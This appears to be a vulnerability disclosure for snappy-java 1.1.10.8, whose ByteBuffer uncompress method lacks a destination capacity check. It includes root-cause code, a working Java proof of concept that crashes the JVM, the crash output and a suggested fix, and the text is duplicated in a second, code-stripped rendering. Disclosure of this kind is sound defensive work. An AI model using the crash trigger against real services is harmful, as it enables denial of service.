Missing Capacity Check in Snappy.uncompress(ByteBuffer, ByteBuffer)
Affected: org.xerial:snappy-java 1.1.10.8 (and all prior versions sharing this code path)
Severity: High (CVSS 3.1: 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
CWE: CWE-787 (Out-of-bounds Write)
Overview
I was auditing the ByteBuffer decompression path in snappy-java and noticed that Snappy.uncompress(ByteBuffer, ByteBuffer) never checks whether the destination buffer is large enough before writing into it. The decompressed size comes straight from the compressed input's own length prefix — fully attacker-controlled — and the native layer just writes that many bytes into the destination regardless of its actual capacity. A valid, well-formed Snappy blob that decompresses to more bytes than the destination buffer holds writes past the end of the off-heap allocation and crashes the JVM with a SIGSEGV.
Interestingly, the sibling API BitShuffle.shuffle(ByteBuffer, ByteBuffer) already does the equivalent capacity check before calling native code — this path just doesn't have one. The method's Javadoc suggests calling isValidCompressedBuffer first, but that only checks stream well-formedness, not whether the output fits the destination.
Root Cause
// Snappy.java:561-583
public static int uncompress(ByteBuffer compressed, ByteBuffer uncompressed)
throws IOException
{
if (!compressed.isDirect()) { ... }
if (!uncompressed.isDirect()) { ... }
int cPos = compressed.position();
int cLen = compressed.remaining();
int uPos = uncompressed.position();
// no check that uncompressed.remaining() >= decompressed size
int decompressedSize = impl.rawUncompress(compressed, cPos, cLen, uncompressed, uPos);
uncompressed.limit(uPos + decompressedSize);
return decompressedSize;
}
On the native side, SnappyNative.cpp:144-163 reads the declared uncompressed length from the compressed stream via snappy::GetUncompressedLength(), then calls snappy::RawUncompress() which writes that many bytes starting at decompressedBuffer + dpos — no capacity parameter exists anywhere in this path.
Reproduction
Environment: macOS (Darwin 25.6.0, arm64), OpenJDK Zulu 25.28+85-CA, snappy-java 1.1.10.8 built from source using the unmodified prebuilt native library shipped in the source tree at src/main/resources/org/xerial/snappy/native/Mac/aarch64/libsnappyjava.dylib.
I built the Java sources with javac, copied src/main/resources/org/xerial/snappy/native/ and src/main/resources/org/xerial/snappy/VERSION onto the classpath, then ran:
import org.xerial.snappy.Snappy;
import java.nio.ByteBuffer;
public class Finding01_UncompressOob {
public static void main(String[] args) throws Exception {
byte[] bigData = new byte[1024 * 1024];
java.util.Arrays.fill(bigData, (byte) 'A');
byte[] compressed = new byte[Snappy.maxCompressedLength(bigData.length)];
int cLen = Snappy.rawCompress(bigData, 0, bigData.length, compressed, 0);
ByteBuffer compressedBuf = ByteBuffer.allocateDirect(cLen);
compressedBuf.put(compressed, 0, cLen);
compressedBuf.flip();
// 64-byte destination for a 1MB decompressed payload
ByteBuffer undersized = ByteBuffer.allocateDirect(64);
System.out.println("compressed=" + cLen + " declared uncompressed=" +
Snappy.uncompressedLength(compressedBuf.duplicate()));
System.out.println("destination capacity=" + undersized.capacity());
int n = Snappy.uncompress(compressedBuf, undersized);
System.out.println("UNEXPECTED: returned normally, n=" + n);
}
}
Result
compressed length=49187 declared uncompressed=1048576
destination capacity=64
calling Snappy.uncompress() with 1MB payload into a 64-byte direct buffer...
#
# A fatal error has been detected by the Java Runtime Environment:
#
# SIGSEGV (0xb) at pc=0x000000018883d508, pid=85520, tid=26627
#
# Problematic frame:
# C [libsystem_platform.dylib+0x3508] _platform_memmove+0x1a8
Process exits with code 134 (SIGABRT after the fatal-error handler). The crash lands in memmove, consistent with RawUncompress writing 1MB into a 64-byte buffer.
Impact
Any application that decompresses attacker-supplied Snappy bytes through this ByteBuffer overload — a common pattern in zero-copy data pipelines (Arrow, Parquet, Netty-style integrations) — can be crashed with a single well-formed compressed blob. This is not memory corruption exploitation or code execution; the confirmed impact is a reliable JVM process crash (denial of service).
Suggested Fix
int requiredSize = uncompressedLength(compressed);
if (uncompressed.remaining() < requiredSize) {
throw new IllegalArgumentException("not enough space for output: need " + requiredSize
+ " bytes, but only " + uncompressed.remaining() + " remaining");
}
Add this check before the impl.rawUncompress() call, matching the pattern already used in BitShuffle.shuffle/unshuffle.
Missing Capacity Check in
Snappy.uncompress(ByteBuffer, ByteBuffer)Affected: org.xerial:snappy-java 1.1.10.8 (and all prior versions sharing this code path)
Severity: High (CVSS 3.1: 7.5,
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)CWE: CWE-787 (Out-of-bounds Write)
Overview
I was auditing the
ByteBufferdecompression path in snappy-java and noticed thatSnappy.uncompress(ByteBuffer, ByteBuffer)never checks whether the destination buffer is large enough before writing into it. The decompressed size comes straight from the compressed input's own length prefix — fully attacker-controlled — and the native layer just writes that many bytes into the destination regardless of its actual capacity. A valid, well-formed Snappy blob that decompresses to more bytes than the destination buffer holds writes past the end of the off-heap allocation and crashes the JVM with a SIGSEGV.Interestingly, the sibling API
BitShuffle.shuffle(ByteBuffer, ByteBuffer)already does the equivalent capacity check before calling native code — this path just doesn't have one. The method's Javadoc suggests callingisValidCompressedBufferfirst, but that only checks stream well-formedness, not whether the output fits the destination.Root Cause
On the native side,
SnappyNative.cpp:144-163reads the declared uncompressed length from the compressed stream viasnappy::GetUncompressedLength(), then callssnappy::RawUncompress()which writes that many bytes starting atdecompressedBuffer + dpos— no capacity parameter exists anywhere in this path.Reproduction
Environment: macOS (Darwin 25.6.0, arm64), OpenJDK Zulu 25.28+85-CA, snappy-java 1.1.10.8 built from source using the unmodified prebuilt native library shipped in the source tree at
src/main/resources/org/xerial/snappy/native/Mac/aarch64/libsnappyjava.dylib.I built the Java sources with
javac, copiedsrc/main/resources/org/xerial/snappy/native/andsrc/main/resources/org/xerial/snappy/VERSIONonto the classpath, then ran:Result
Process exits with code 134 (SIGABRT after the fatal-error handler). The crash lands in
memmove, consistent withRawUncompresswriting 1MB into a 64-byte buffer.Impact
Any application that decompresses attacker-supplied Snappy bytes through this
ByteBufferoverload — a common pattern in zero-copy data pipelines (Arrow, Parquet, Netty-style integrations) — can be crashed with a single well-formed compressed blob. This is not memory corruption exploitation or code execution; the confirmed impact is a reliable JVM process crash (denial of service).Suggested Fix
Add this check before the
impl.rawUncompress()call, matching the pattern already used inBitShuffle.shuffle/unshuffle.